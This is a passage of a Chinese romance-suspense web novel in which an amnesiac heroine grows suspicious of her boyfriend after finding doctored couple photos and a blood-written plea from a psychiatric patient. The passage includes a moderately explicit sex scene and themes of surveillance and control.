“嗯?”邵柏修看到上边的三菜一汤。
他缓缓一笑,“你做的?”
她扬起眉梢,点头。
邵柏修坐在餐桌前,三个菜。
菠菜鸡蛋汤,番茄炒蛋,牛肉炒蛋。
他微一挑眉,“全是鸡蛋。”
“鸡蛋好做,其他的太难了。”千瑶不好意思道。
邵柏修看她的窘迫,脸色霎红,直接笑出了声。
“没事,你做什么我都喜欢吃。”
他眼神锁定她的左手食指,那里包着创口贴特别显眼。
他拉过她的手,剑眉皱起,“怎么受伤了?刚刚做菜伤到的?”
“一不小心的,刀太锋利了。”
千瑶收回手,不想他太过关注。
邵柏修抬眼间尽是心疼,“这些事情让王妈做就好了,就算是为了我,也不要把自己弄成这样。”
“不关王妈的事,是我自己要给你做的。先不说这个了,你尝尝看,我第一次做。”
邵柏修收回视线,看向眼前的菜。
他夹了一块牛肉,放进嘴里。千瑶托着下巴,目不转睛地盯着他。
他咀嚼了半分钟,千瑶还在等。
邵柏修终于咽下去了,差点呛到。
千瑶连忙给他倒了汤让他喝。
邵柏修喝到一半,眉头就没松过,这个汤喇嗓子。
齁咸了。
“怎么样啊?你评价一下。”
“牛肉干很入味,有嚼劲。汤的话能解渴,料也很足。”
“我觉得做得很不错的,宝宝。”
千瑶表情古怪,“我做的是牛肉片,不是牛肉干。”
“好,牛肉片。”
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邵柏修笑道。
他也不反驳,顺着她在说。
千瑶觉得邵柏修在嘲笑自己,自己尝了一口。
她咬了半天,根本咽不下。
邵柏修看她在跟牛肉较劲,忍着笑意。
最终,两人为了不浪费粮食,硬是将这顿饭吃完了。
千瑶最后承认她确实做了牛肉干,专门给他嚼的,因为她觉得邵柏修牙口好。
千瑶捂着肚子,在沙发休息了会儿,还打了个饱嗝。
她打开电视机,看着新闻。
等邵柏修刷完碗出来时,就见她看着新闻目不转睛。
“据报道,景氏集团创始人景某因贿赂地方官员。”
“违规竞标,以不正当手段包揽工程项目,现已于昨日凌晨两点三十五分从家中被带走。”
“于此同时,景氏集团副总裁景喻哲的不雅照曝光。”
“景氏夫人及其下属的花边消息在网络上接连发酵。”
“景氏集团股份下跌,持续走低,引起众多股民唏嘘。”
千瑶看着被打码带走的景氏集团董事长,莫名地心里有些不安。
这件事情突如其来,昨天景喻哲还说自己被人设计了,今天就上了新闻。
连带着一连串的事情爆发,景家恐怕很难渡过这次难关。
“我第一次发现新闻也挺好看的。”
邵柏修坐在她旁边,沙发下陷。
一手横过,揽着她的肩。
千瑶蹙眉,隐隐觉得这些事是冲景家而来的。
一下子爆出来这么多消息,很有可能是蓄谋已久。
“你有没有觉得不对劲,景氏集团忽然爆出这么多丑闻,从花边新闻到犯罪证据,图片和材料都很多。”
新闻上的景喻哲被媒体缠身,几乎被埋没。
“嗯。”
邵柏修的态度让她好奇,“你也这么觉得?”
“那肯定是被好心人举报了。”
“就这样?”千瑶觉得不仅如此。
“景家被人弄了,它竞争对手这么多,谁知道是谁。集团的竞争就是你死我活,适者生存。”
“他们现在这样,就是罪有应得呐。”
千瑶扭头看向邵柏修的侧脸,他盯着新闻屏幕,嘴角挑起似笑非笑的弧度。
她也觉得邵柏修说的是对的,这些丑闻如果不做就不会有把柄,也不会落得今天这个地步。
千瑶晚上躺在床上时,还在想这件事。
她睁着眼,翻来覆去。
也许是景家一夜之间遭此变故,给她的震撼太大。
她不愿再继续想了,徒增烦恼。
迷迷糊糊地,她睡了过去。
可是没过多久,千瑶听见一个声音。
她揉了揉眼睛,摸了身旁人,是空的。
“他想做什么?”
“邵总,3443一直念叨着千瑶小姐,时而癫狂,时而清醒。”
“以后这种事情不用再跟我汇报了。”
千瑶看着浴室亮着灯,邵柏修在里面打电话。
她穿着鞋,悄悄地来到浴室门前。
她皱着眉头,脸贴在门框的边缘,耳朵凑近仔细听。
“可3443受不了了,想要......安乐死。”
邵柏修听着,倏然笑了。
他嘴角噙着一抹笑意,“嗯——那可不行。这在Z国是犯法的,我可是良民呐。”
千瑶越听心跳得极快,手心发汗。
安乐死?邵柏修在和谁打电话。
他的语气和她说话的时候截然不同。
“对了,查一下雪莉卡这个人,明天......”
咔哒——
千瑶身上的项链在此刻断了。
此时,浴室内的邵柏修声音停住。
19. 第19张照片
千瑶心里一个咯噔。
邵柏修视线骤然变了,视线锁定浴室门口,有一道影子闪过。
眼眸逐渐冷下来,挂断电话,快步来到门口。
他拧开浴室门把手时,瞳孔一缩。
“呜呜......”
“千千,怎么了?”
千瑶趴在地上,捂着腰,一双眉头紧蹙。
表情看上去特别痛苦,手指抓着淡蓝的地毯,身体半蜷缩着。
“我刚刚在睡觉,不小心从床上滚下来了......”
邵柏修眉宇带着一丝担忧,他看着千瑶,想要检查她伤到了哪儿。
千瑶捂着腰,“磕到了腰,我缓一下就好。”
邵柏修将她从床上抱起来,慢慢把她放在床上。
她趴着,双手枕着下巴。
腰部的衣服往上掀,盈盈一握的腰,右下方有个红痕。
邵柏修轻轻地帮她按摩,她太娇弱了,傻傻的。
睡个觉都能从床上摔下来。
想到这儿,邵柏修轻笑出声。
听到后头人隐隐的笑声,千瑶扭头见到他上扬的嘴角还未消失。
“你笑我。”她说得委屈。
“没有。”
邵柏修还在笑,实在忍不住。
“分明就有。”
千瑶带着鼻音,她疼得眼泪都出来了。
“好,我错了,我错了。”
他举双手投降,嘴角的笑意未减。
千瑶看他那个样子,也不想跟他计较了。
她垂下眼眸,想到刚刚浴室里听到的话。
断断续续的,不过邵柏修为什么要查雪莉卡。
千瑶不经意一问,“你刚刚从浴室出来,我隐约听到有别人的声音。”
邵柏修动作放缓,按压的力道很轻。
“哦,接了个电话,刚刚研究室有些事情找我。”
千瑶“嗯”一声,没有再继续问了。
邵柏修的话不真诚,她听到的不是这样的。
他很警惕,也很敏感。
她差点就被发现了。
千瑶这个晚上没有睡好,她一大早就起来码字。
她等到了下午,和赵叔说要去机场。
去接雪莉卡的事情,她是在路上发微信告诉邵柏修的。
千瑶看着外头的景色,这一条高速路宽阔。
她脑袋一疼,捂着头靠在沙发上。
驾驶座上的赵叔从后视镜看到千瑶的情况。
“小姐,怎么了?身体不舒服吗?”
千瑶摆了摆手,表示自己没事。
她觉得这条路很熟悉,就像自己来过一样。
“赵叔,这条是什么路?”
“京太高速。”
千瑶想起来了,难怪她觉得熟悉,这是她出车祸走的高速。
赵叔又补充了一句,“这里是去机场最快的高速路,其他的还得绕路。”
千瑶蹙着眉头,脑袋又开始疼了。
她闭着眼睛,她当时为什么要走这条路。
千瑶不去想了,头疼舒缓了一些。
几分钟后,机场。
她站在接机大厅,看着上边的航班信息。
雪莉卡的朋友圈有照片,她能认得出来人。
“嘿,千。”
她扭头,见到一个高挑的美女往自己这边来。
肤白貌美,手边提着个行李,走得飞快。
走路时金色的大波浪也在晃动,直接抱住了千瑶。
“好久不见,千。”
雪莉卡是典型的混血儿,眉骨深邃,戴着黑色的大墨镜。
雪莉卡吻她的左右脸颊,“想死你了。”
千瑶一看见她就有一种熟悉感,她肯定自己一定认识雪莉卡。
这和光看照片不同,她对雪莉卡是熟悉亲昵。
这种感觉甚至超过了林木子,这还是她失忆后与雪莉卡的初见。
“雪莉卡,我车祸后就失忆了,很抱歉我现在不记得你。”
雪莉卡惊讶得摘下了眼镜,上下打量着她。
“不是吧?Areyoukiddingme?”
“我没在跟你开玩笑。”千瑶无奈回应。
她知道千瑶出事的时候已经是一个月后了。
当时她正在攻读心理学博士后,几乎与外界断联,她是知道千瑶去了Z国的。
刚开始还好,逐渐地她就与千瑶的联系就少了。
直到最近才知道她的情况,赶紧飞来Z国。
千瑶失忆的情况,她很震惊。
雪莉卡看她活蹦乱跳的,现在也松了口气。
赵叔帮扛着行李放车上,二人坐在后头。
“好吧,千。我很难过你忘了我。”
雪莉卡只悲伤了一秒,就揉着千瑶的脸,“不过你这个样子更可爱了。”
“正式介绍一下,我和你千瑶女士是普林斯顿大学的同学,还是亲密无间的舍友。”
“你以前都是叫我好闺闺的,虽然我听起来像是你们东方的乌龟,啧,你却说这是爱称,我也就不计较咯。”
千瑶愣住,“我在国外读过书?”
雪莉卡觉得好笑,“你一直在M国生活啊。”
可是......
邵柏修不是这么说的。
他说她在Z国学习,而后就写书,当了全职作家。
到底是谁在说谎?
雪莉卡今天是她第一次见面,不至于说谎。
如果是邵柏修在骗她,那目的是什么。
他为什么这样做?
“你怎么紧张了?”
“嗯?”
雪莉卡笑了笑,指着她的手,“你刚刚不自觉地摸鼻子,这是紧张的表现。”
“接你的事情,应斯年也和我说过,你们怎么认识的?”
在那场电话后,她在微信上和应斯年确认过,雪莉卡确实是她的朋友。
不是跨国的诈骗犯,她才敢来机场接机见面。
“我和他是在舞会上认识的,刚好他有个角色与心理学相关,聊得投机,就与他成为了朋友。”
雪莉卡感觉到放松,喝了口咖啡。
她好久没来Z国,看着窗外的景色,“我们去哪?我订好酒店了,绝对不打扰你和景喻哲的二人世界。”
她又叹了口气,“虽然我很不喜欢他,但是谁叫你喜欢呢。”
“雪莉卡,我和他已经分手了。”
雪莉卡扭头,眼神满是兴奋。
全然没有对她分手的安慰。
“我的天哪,为什么?想开了?”
“有些问题就分开了。”
“嗯,我就说单身好吧,自由快乐。”
千瑶不好意思继续道:“我现在有男朋友了,他叫邵柏修。”
雪莉卡大跌眼镜,“又来一个?”
“我和他在一起很久很久了,近期复合的。”
“啊?我和你相处这么久,没听你说过他。”
雪莉卡对千瑶的背景不是特别了解,加之她是个科研狂魔。尤其是在感情上,听她
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说过的只有一个景喻哲。
“谈了多久?”
“七年。”
“千,你背着我谈这么久,什么男人值得你藏这么深?”
雪莉卡完全不知道。
千瑶也不知道为什么,她忘记了。
二人聊着,就到了御萃长庭。
“那我倒是要见见你的现任了。”
回到家,千瑶给她倒了热茶。
“Z国的茶很香。”
雪莉卡抿了一口,而后站起来打量起四周。
而后她站在墙上的一张相框前,歪着头看着那张照片。
千瑶见她盯着照片,“怎么了?”
“这个人就是你的现任?”
雪莉卡指着站在她身旁的男人。
她啧了一声,看上去很困惑,“当时你毕业,这个男人就没有出现过。”
“我从没见过他,怎么就和你拍了毕业照。”
千瑶看着那张枫叶纷飞的照片,她捧着证书,笑得开心。
她的心里隐隐地升起一丝异样,看着同样对镜头微笑的邵柏修。
视线从上往下,处处都是她与邵柏修的照片。
从脊背生出阴凉的寒意,手指逐渐发冷。
千瑶的疑虑在心间萌生,她忽然不敢细想。
“这是我和千千补拍的,我还特地飞了M国一趟。”
二人身后传来一道声音,适时响起。
两人转身,邵柏修站在他们身后。
他走路没有声音,什么时候来的她们都不知道。
“你好,你就是雪莉小姐吧?很高兴见到你,我是邵柏修。”
雪莉卡扬起微笑,与他回握。
“你好。”
她仔细观察着眼前的男人,彬彬有礼,谈吐不凡。
“你和千相处了七年,我一点都不知道。你们真的在一起这么久?”雪莉卡挑眉。
“是的,一直分分合合。千千不愿意提起我,我能理解,毕竟我们有过矛盾,她不愿意多提起我。”
“自然就不想和别人说了。”
邵柏修微微一笑,搂着千瑶的腰。
他接近她耳边,低声道:“这么多年,你没有把我介绍给你的朋友,我有点吃醋了。”
雪莉卡注视着他,语速适中,神态自若。
动作很自然,刚刚的微表情完美得无懈可击。
他说的是真的,没有撒谎。
雪莉卡没眼看了,“呃呃呃,我还在这儿呢,不想看你们kiss。”
三人一起吃了顿饭,雪莉卡就要结束了她的做客。
“千,我此次来除了来看你,我还有一个目的,要进行偏执型人格障碍的调研。”
“雪莉小姐是心理学家?”邵柏修看向她问道。
雪莉卡点头。
“调研?”千瑶来了兴趣。
“你要去哪儿调研?我最近正在写到这方面的内容,正好可以收集素材,我和你一起去。”
“宝宝,你去太远了我不放心,网上查文献资料也是一样的。”
邵柏修不赞成她的想法。
“那不行,一手资料很重要。这样写出来的东西才更具有专业性,人物才能更立体,我想要把小说写得更好。”
千瑶真的很想去,而且还有雪莉卡和她作伴。
“好啊,千你就和我一起去呗,邵先生不用担心,我都申请好许可了,那个地方很近的。”
邵柏修看着她问道:“你们要去哪里调研?”
“京市安康精神病院。”
20. 第20张照片
夜幕降临,月夜微风轻拂,泛起阵阵凉意。
千瑶缩在床上刷手机,目光不停地看向浴室,邵柏修在里边沐浴。
微信跳出来消息,是雪莉卡发给她,让早上九点一起过去。
邵柏修安排了赵叔接送,她们不必打车。
千瑶又瞥了一眼浴室,视线停留在窗台的书桌上,那里放着他的手机。
她坐在床上想了一会儿,拿起他的手机。
屏幕有锁屏密码,千瑶输入自己的生日,竟一下就打开了。
微信上一个名称吸引了她的注意——林院长。
【林院长:3443近期状况良好。】
【S:明天会有两个人来调研,怎么安排你知道的。】
【林院长:好的,收到。】
而后就结束了对话。
千瑶看着聊天记录,邵柏修告知那人她和雪莉卡会来。
看来他事先就和安康精神病院的院长有了联系。
而且从对话的时间来看,他们早就认识。
浴室的水声持续,光线照着邵柏修模糊的身影。
想到这里,千瑶的心脏越跳越快。
回想起之前的一切,处处都透着诡异。
今天雪莉卡看着毕业照时所说的话。
邵柏修的解释听上去很合理,但是不符合她自己的行为动机。
她如果谈了这么多年,哪怕是分居两国,她没必要瞒着。
千瑶听见浴室的水声停了,就将手机放回书桌上,退回到之前的页面。
她回到床上侧躺着,脑子里都在想这些事。
还有先前浴室门口听到的话,邵柏修调查雪莉卡。
可是今天雪莉卡和邵柏修也是第一次见面,根本不熟悉。
她跟邵柏修说去接机时,还是在高速上和他发的消息。
邵柏修为什么能提前知道雪莉卡要来?
她从接到雪莉卡电话,再到浴室听见邵柏修的话。
前后不过几个小时。
除非......
千瑶看向床头柜上的手机。
那是在医院时,邵柏修买给她的。
千瑶浑身冰凉,就像掉入一块冰窟窿里,寒冷而不断下坠。
悬空和极致地阴冷从脚底攀上心间,她对邵柏修的怀疑逐步加深。
身后覆上火热的身躯,将她搂在怀中。
“宝宝,你刚刚动我的手机了吗?”
千瑶身体一僵,她刚刚明明退出来,也都息屏恢复原样了。
他还能察觉到。
她转过来,邵柏修撑着脑袋,侧躺着看她。
他微笑着,没有移开她的眼睛,似乎在等她的解释。
“你怎么知道的?”千瑶问道。
她没有否认,邵柏修既然会问出这一句,说明他是肯定了是她做的。
“手机朝向不对哦,我记得之前的位置的。看到什么了?”
邵柏修问得轻声细语,言语中满是试探。
“我......我看了你的电话记录,短信,除此之外就没有了。”
“想看看你有没有跟谁,过分亲密。”
千瑶抿着唇,说到后边她的声音变得越来越低。
“对不起,我私自看了你的手机。”
邵柏修骤然笑了,在她唇上覆下一吻。
指尖缠绕着她的发丝,“原来宝宝在查岗。”
“你不要胡思乱想,我只爱你,没有别的女人。”
“以后想看我的手机,跟我说就行,不用偷偷地看。”
千瑶看向邵柏修,他没有因为她的行为感到生气。
反而笑容更盛,看着她柔情似水。
他似乎真的很高兴,他相信了。
千瑶本以为以邵柏修的敏锐程度,他不会相信她的话的。
邵柏修吻着她的脖颈,舌尖在锁骨线条勾连。
“我能感受到,宝宝是真的喜欢我了。”
她抓着被单,他的手指摸着她纤细的手腕,在上边覆上一吻。
而后往上,流连于她的肩头。
“唔......”
耳朵被咬,脸颊发烫。灼热的气息喷薄在她颤动的眼睫。
这个夜晚格外漫长。
-
千瑶按照约定的时间,和雪莉卡来到安康精神病院。
她站在大门前,日头的太阳照着直晃人眼睛,她眯了眯眼。
千瑶仰头就见到几座高耸的塔,塔上有人在值守。
墙上的铁丝网都是高压电,铁大门缓缓打开时,沉重的闷声连带着锁条刮擦着地面。
她感觉这里不像一个精神病医院,而像监狱。
“你好,您二位是来调研的人员吗?”
雪莉卡将自己的证件材料给人看了之后,由一个女医生领着她们进来。
走进这个区域,千瑶发现四周都有人在盯着她们。
走路蹒跚的老太太往这边看,眼神迟钝。
几个侏儒在花园里跑着,看到她们就停了下来,痴痴傻傻口中流着哈喇子。
病人身上都穿着蓝白条纹的病号服,医生给她们递了两件黄色的马甲让她们穿上。
走进了一个厅内,食堂的饭菜香气飘逸。
“这里是我们的饭堂,菜式多样,保障患者的饮食健康。”
而后医生带着她们参观住所,每个患者都有单独的隔间。
“这上边的数字是什么?”千瑶指着门上的数字。
“这是每个人进院的专属编号,因为咱们现在看到的病房都是比较危险的患者居住的。”
千瑶几人在走廊里,两侧的病房门上都有一个小窗,能透过这个窗口观察患者的状态。
她站在一个门前,从窗口看去。
一个人脸猛地出现,直冲千瑶做鬼脸,指着她笑。
而后他抓着自己的脸,就像没有感受到疼痛,脸上全是指甲抓挠的痕迹。
血从他的伤口流下,糊了整张脸。
千瑶被吓得后退两步,雪莉卡扶着她,担忧问道:“没事吧?千。”
她摇头,表示自己还好。
女医生二话没说,从口袋里拿出一根折叠棍,一甩甩棍展开。
她眼神狠厉,像变了个人,用棍子敲击着铁门。
铁门发出刺耳的梆梆声,里边的病人被吓得蹲在地上,赶忙缩回了床上。
而后她转过来,将甩棍收回到口袋里。
女医生挂起完美笑容,“抱歉,吓到你们了,这是非常手段。”
千瑶犹豫地指着刚刚的男人,他回到病床后还在抓着脸,“可是他这样......真的没问题吗?”
千瑶注意到那个男人没有剪指甲,指甲特别长。血顺着脖颈,蓝白病服上都是血。
女医生瞥
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了一眼,非常淡定。
“会有人来处理的。”
“此次调查的对象是一个偏执型人格障碍患者,我再跟您二位确认一下。”女医生再问。
雪莉卡点头,“是的,劳烦。”
她领着二人绕过拐角,“3444病房就有一位,我已经让安保候在门口了。”
3443见到3444门前有两名保镖守着,走廊的灯光完全亮起。
他听到走廊上有人在交谈,趴在小窗口微眯着眼。
见到那个熟悉的身影在逐渐靠近。
他顿时激动起来,他想要喊人。
但理智又让他压抑住自己的兴奋,他不能着急。
女医生带着二人来到3444门前,两位保镖守在旁边。
女医生拿着钥匙,正要开门。
忽然远处传来一声呵斥,“谁让你带她们来这里的!”
一个中年男人指着她,连忙赶来。
身后跟了一众医生,小跑过来。
女医生困惑,“院长,怎么了?”
千瑶和雪莉卡对视一眼,也不知道发生了什么。
忽地,3443拍着门,发了疯般地叫喊:“千千!救我出去,千瑶——”
千瑶看着3443的窗口,男人头发长到颈侧,手指扒着窗口,死死地盯着她。
这个中年男人胡子拉碴,不修边幅。
口里在喊着她的名字,捶着铁门。
“快!快开门,他发病了。”
院长赶紧让人进去。
医生开门后,千瑶站在门口,往里头看了一眼。
3443挣扎得厉害,好几名医生按着他,打了镇静剂才安分下来。
她被这个场面吓得退后两步,忽然踩到一个纸团。
周围人的注意力都在那个人身上,她不动声色地捡起来。
等完成一切后,院长才看着她和雪莉卡,“这是我们的失误,很抱歉二位。”
“李医生搞错了,要研究的对象不是这儿,而是在东区里。”
林院长出了一身汗,他嘱咐了人将她们带进东区,没想到手下人记成西区。
况且那人还在这里,不想让千小姐看见的。
女医生听院长这么说,也对她们深表歉意。
“西区这里是不轻易对外人开放的。”
她们由院长亲自领着,去到东区调研。
这里的病人危险性相对低,足够她们展开研究了。
研究进行了一下午,从安康精神病院出来后,她和雪莉卡去市中心的餐馆吃饭。
是雪莉卡一直想要去打卡的网红餐厅,她已经预定好了位置。
“刚刚的场面给我吓了一跳,还以为那人在喊你呢。”
“也真是巧,要不是院长说他的夫人和你的名字同音,我以为他真认识你。”
“钱姚,千瑶,听起来真像啊。”
千瑶低垂着眉眼,若有所思。
“千,你怎么不说话了?”
她将自己捡到的卫生纸展给雪莉卡看。
上边赫然写了四个字——千瑶救我。
纸面揉得褶皱,上边是用血一笔一划写出来的。
雪莉卡眼神一缩,猛地抬头看向她。
“这......”
“我在3443门口边捡到的,那个院长在骗我们,不是钱姚,他当时叫的就是我。”
21. 第21张照片
雪莉卡看着这张纸,沉默了几许。
“病人伪装成正常人,给别人传递消息,以达到逃出精神病院的目的。千千,以前有过这样的案例。”
“我现在不能判断他到底是否真的是精神病患,信息太少了,我还需要进一步地诊断。”
“不过可以肯定,3443的那个人他认识你。”
千瑶明白,因为她失忆了,她不知道自己是否认识那个人。
她现在不敢将这件事告诉邵柏修,院长和他是认识的。
她还记得在邵柏修的微信里提到3443,他知道这个人,很关注这个病患。
千瑶对邵柏修的不信任在逐渐地加剧,手机上恰好跳出邵柏修的微信消息。
【S:宝宝,你们回来了吗?】
【S:早些回来哦。】
千瑶看着消息,皱着眉头。
她回了一个好。
千瑶看向雪莉卡,祈求般地看着她,“你能不能帮我买个手机,电话卡用你的。”
她指着放在桌面上的手机,“我想要和这个一模一样的型号,颜色。”
“嗯?为什么?”
“拜托了。”
雪莉卡见千瑶不愿意说,她便也不再追问。
千瑶对她摇头,“还是在这儿吧,下午见面你给我就好。”
雪莉卡点头,她又看向这张血纸。
“这个你该怎么处理。”
“我想再见他一面,当面问问他和我是什么关系。”
雪莉卡不赞同,“今天我们刚进行调研,立刻进行下一场的调研不现实,时间不会这么紧凑。”
“不过对西区3443的调研对象申请,我可以和上级提出请求。审批的话,进度会稍微慢,应该会通过。”
“如果有上级直接下达的审批,院方不会推辞。”
千瑶想了想,这样还是不妥。
“这样,你同时申请西区3443和3444,这样不会太过刻意。”
“虽然是进行偏执型人格障碍的专项研究,但为了对比其成因,对其他的病患也还想了解。你可以这么写。”
雪莉卡懂她的谨慎,扬起笑意。
“OK,都听你的。”
-
千瑶回到家,发现屋内黑漆漆的,连灯都没有开。
正当她摸黑想开灯时,一人蒙上了她的双眼。
千瑶被吓了一跳,她摸着那人的手,“邵柏修?”
“嘘——跟我走。”
身后的邵柏修带着她,慢慢地来到一个地方停下。
眼前的手放开,千瑶怔住。
桌上的蛋糕上插着七彩的蜡烛,烛火的光在风中摇曳。
橙黄的光线照在他的下颌线,温柔的双眼注视着她,给她戴上寿星帽。
蛋糕是简单的一层,形状有些歪扭,奶油涂得有些瑕疵。
图案和花瓣,能看得出是个新手画的。
“宝宝,今天是你的生日,祝你生日快乐。”
邵柏修带着微笑,看着她的眼神深情。
千瑶撞上他的视线,被他灼热的情意烫到了,心间也被狠狠地撞了一下。
“谢谢你,邵柏修。”
“来,先许愿。”
千瑶许完愿之后,就吹了蜡烛。
第一次呼,还没灭。第二次呼气,才灭了几根。
邵柏修忍住笑意,“力气大一点。”
“不许笑我。”
最后一次她全部吹灭,灯也是在这时全然亮起。
千瑶看着蛋糕,“你自己亲手做的?”
她想如果是蛋糕店,应该卖不出去。
邵柏修要是去应聘,他一定会被解雇的。
“做了一下午,模样不太美观。”
“你的生日到了,我想亲自做给你。”
千瑶拿着餐刀,邵柏修覆上她的手,往蛋糕上落刀下切。
“第一个蛋糕给寿星。”
他把蛋糕分好,而后叉子递到了她唇边,喂了一口奶油。
她嘴角还残留着白色的奶油,舌尖舔了唇角。
“我不记得今天是我的生日了。”
邵柏修坐在她旁边,“宝宝,我记得就好。”
他脑袋靠在她的肩上,手环抱着她的腰,一下就将她从沙发上抱坐在怀里。
他变得特别黏人,在她柔软的颈侧落下一吻。
“宝宝,你爱我吗?”
“爱。”
千瑶是真心的,她喜欢邵柏修。
邵柏修听到答案,眉梢染上喜意,他真的很高兴。
窗外的风刮得很大,他将千瑶冰冷的手放进自己的肚子上。
吻上她的唇角,还带着淡淡的奶油香。
邵柏修穿过她的发丝,托着她的后颈,让她迎上这场柔和的吻。
起初是温柔试探,而后气息交缠。
舌尖细细舔过她的唇缝,她顺从地张开唇。
千瑶手攥着他的衣服下摆,布料被揉得褶皱。沙发下陷,下垂的领带落入她的颈侧。
邵柏修单手扯开领带,喉结滚动。
眼中宛若温水般晕开了荡漾的情丝,鼻尖相触,勾起薄唇。
手中顺着她的脊背而下,托着她的腰,轻柔地放在沙发上。
“宝宝,我想要......”
他灼热的气息喷在她的耳侧,欲.望在他的身上犹如一团火在烧。
她的眼睫蒲扇在他的脸庞,抓着沙发的一角。
他的吻倾覆而下,勾连出涔涔的水声,任由他的吻探入更深处。
千瑶被吻得失神,轻轻的喘息在他的喉结上。
眼中湿漉漉,吊顶的灯光倒映在她的眼中,眼神迷离。
枕头落地,发出闷响。
冰凉的食指擦过她的唇角,他食指上的蛋糕奶油划过她的唇缝。
白色的蛋糕沫沾在她的唇上,瑰丽的柔软沾染上白色的黏腻,脸颊薄红。
“宝宝,真的好乖。”
邵柏修吻着她的唇角,浓郁的奶香味混杂着雪松香水,呼吸交缠在一起。
她的膝盖被悄然顶开,腰间的大手扣着她的腰。
下一瞬,千瑶疼痛地紧紧蹙眉,“唔——”
发丝从沙发垂落,薄红的耳朵滚烫。
她的喘息声宛若低声呢喃,手抓着他的手臂,不自觉地抓出红痕。
邵柏修俯身而下,抚摸着她的头发。
手指抚摸过她后腰的皮肤,指尖的游动,宛若掀起了一阵电流的震颤。
舌尖勾着她耳边的轮廓,含上柔软的耳垂。
“痒......”
千瑶不受控制地叫出声,她捂着自己的唇,太羞耻了。
上回的痕迹还未消,又被他的吻痕覆盖上。
“好喜欢......和你做.爱。”邵柏修咬着她的耳朵。
癫狂的情事持续到凌晨,千瑶睡得很不踏实。
她睡觉的时候眉头还是紧紧蹙着,欢爱后的痕迹残留在身上的每一处。
千瑶醒来时,腰间指痕发红,锁骨上的牙印很深。
她去洗了个澡,水流顺着脖颈往下。
透过镜子看
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去,她的脸颊绯红,看到那些痕迹也是一怔。
邵柏修平时都很温柔,但是在情事上有极具的占有欲,会说些难以启齿的话给她听。
有时候她会恍惚,到底哪一个才是真实的他。
千瑶洗完澡后出来,看到梳妆台上放着的相框。
之前她一直没有注意过,因为二人的合照到处都是。
照片上的她很青涩,她扎着丸子头。
身上穿着白色的校服,校服的名字很模糊,她对着镜头微笑比耶。
身侧的邵柏修手臂揽着她的肩,神情恹恹,一脸不耐烦地看着镜头。
这张照片给千瑶的感觉都不同,模糊的场景一闪而过。
她捂着发疼的脑袋,将照片放回原位。
具体是什么感觉,她自己也说不清楚。
千瑶下楼,看着客厅的毕业照,她让王妈把它放下来。
她将里头的照片拿走,千瑶想了想,又拿了柜子上几个相框,将照片从里头取出来。
把照片全放在包里。
下午到了和雪莉卡约定的时间,她让赵叔把她送到餐厅附近。
“千,这里。”
雪莉卡朝她挥手。
“这是手机,还有新的卡都在里边了。”
“谢谢你的帮忙,这个给你。”
她把包里的信封给她。
雪莉卡打开一看,挑眉道:“现金?”
千瑶点头,这是她的零花钱。
而且是之前买东西时,微信转换剩下的。
雪莉卡又将钱推回去,“行了行了,不就一个手机嘛,拿去。”
她翻看了菜单,看看今天要吃什么。
“你吃吧,我有点事先离开,不过你能不能吃到八点半再走。”
“啊?”雪莉卡看着她。
她看了眼时间,才六点钟,“我吃两个小时半?你到底去哪儿?”
千瑶双手合十,“求你了,拜托拜托。”
看她眼神水汪汪,一脸祈求地看着自己。
雪莉卡心一软,“行行行,你去吧,我八点半再走。你把我抛弃在这里,我不会伤心的,我只会谴责你。”
千瑶露出微笑,“雪莉卡你最好了。”
千瑶没有出餐厅的大门,而是往后厨的通道而去。
她之前来上卫生间时,见到这里有个隐藏的出口。
千瑶从餐厅的后门出来,一路往北绕过几个街道,而后停留在一间修手机商铺前。
“你好,请问高师傅在吗?”
店主眼睛都没抬,扭着螺丝批,在修理手机面板。
“我就是。”
千瑶眼前一亮,她之前查过,这家修手机的老板是个高手,而且店铺就距离餐厅不远处。
千瑶从口袋里拿出照片,放在他的面前。
“师傅,我想检测一下这张照片有没有ps的痕迹。”
高师傅看了她一眼,“你把照片放这儿吧,明天再来,现在还忙。”
千瑶再从包里拿出现金,递给他。
“我加钱,我有急事现在就想要结果,辛苦你了师傅。”
高师傅看着那厚厚一叠的现金,扬了扬眉。
最终拿出电脑,拿过照片,飞速在电脑上操作了起来。
千瑶站在一旁等待,她看不懂那些数字还有测绘。
赵叔坐在远处的咖啡馆,时不时地抬头看向对面的餐厅。
她们还没出来。
手机上发来一个消息,是邵柏修在问千瑶的动向。
【赵叔:还在和雪莉卡吃饭。】
22. 第22张照片
邵柏修已读后,消息没了下文。
千瑶等了很久,高师傅把照片还给她。
他看着她,将电脑转过去,“小妹妹,你这些照片全是p的。”
“肉眼看很正常毫无痕迹,能看得出这个p图的人技术非常高,也是个高手。”
千瑶听到那个答案,整个人僵硬在原地。
背脊冒着寒意,浑身冰冷。
眼前的电脑的那些红色数字,比率高达90%。
她拿着照片的手在发白,思绪纷杂。
“你怎么了?脸色这么难看。”
千瑶摇头,“没事,谢谢师傅。”
她看了眼时间,即将到八点半了,她快步赶回去。
雪莉卡一块巴掌大的牛排硬是切了半小时,一小块一小块地摆在盘里。
细嚼慢咽,一口就咀嚼了十几下。
她从来没这么优雅过。
已经光盘,她拍了个照发朋友圈。
配文:光盘行动,从我做起。
雪莉卡看着到了八点半,这场折磨她的酷刑终于结束,拎包走人。
赵叔见到雪莉卡出来,已经走了很远了。
他等了一会儿,没见千瑶从门口出来。
神情严肃,正要和邵柏修汇报,就见千瑶站在了门口。
他放下手机,抬眼见到千瑶冲自己招手。
“小姐,咱们现在是回家?”赵叔走过来。
“我想去附近的照相馆看看,买些相框。”
赵叔送她去指定的照相馆,她进去了一会儿,就提了一大袋东西出来。
“我们回去吧。”
千瑶回家,邵柏修坐在沙发上办公。
看到她后坐过来,他放下电脑,吻着她的眉心。
“宝宝,下午玩得开心吗?”
“和雪莉卡聊天吃饭,一时聊得入迷了。”她看向邵柏修,“我原来去M国读过大学。”
“你之前还说我一直在Z国上学。”
邵柏修摇头,“那可能是我表述有问题,你十八岁之前是一直在Z国的,也在这儿上学。”
“我和你是一个初高中的,大学你去了M国。”
千瑶嘴唇抿成一条线,他的解释是她问了才说。
邵柏修靠在沙发上,支着脑袋。
视线扫过墙上的照片,有几张已经被拿下来了。
他不经意问道:“这些照片去哪了?”
千瑶从包里拿出几张照片放在桌上,而后从袋子里拿出相框,还多买了几个其他型号的。
“我不喜欢这些相框的颜色,所以我就去买了些好看的相框,我怕型号对不上,拿了几张照片去的。”
邵柏修看她买的这些相框,五颜六色,纹路上的雕花精美,确实比之前单调的棕木色好看。
千瑶将它们分别装进去,邵柏修拿起其中一张照片,指尖抚摸过她的脸颊。
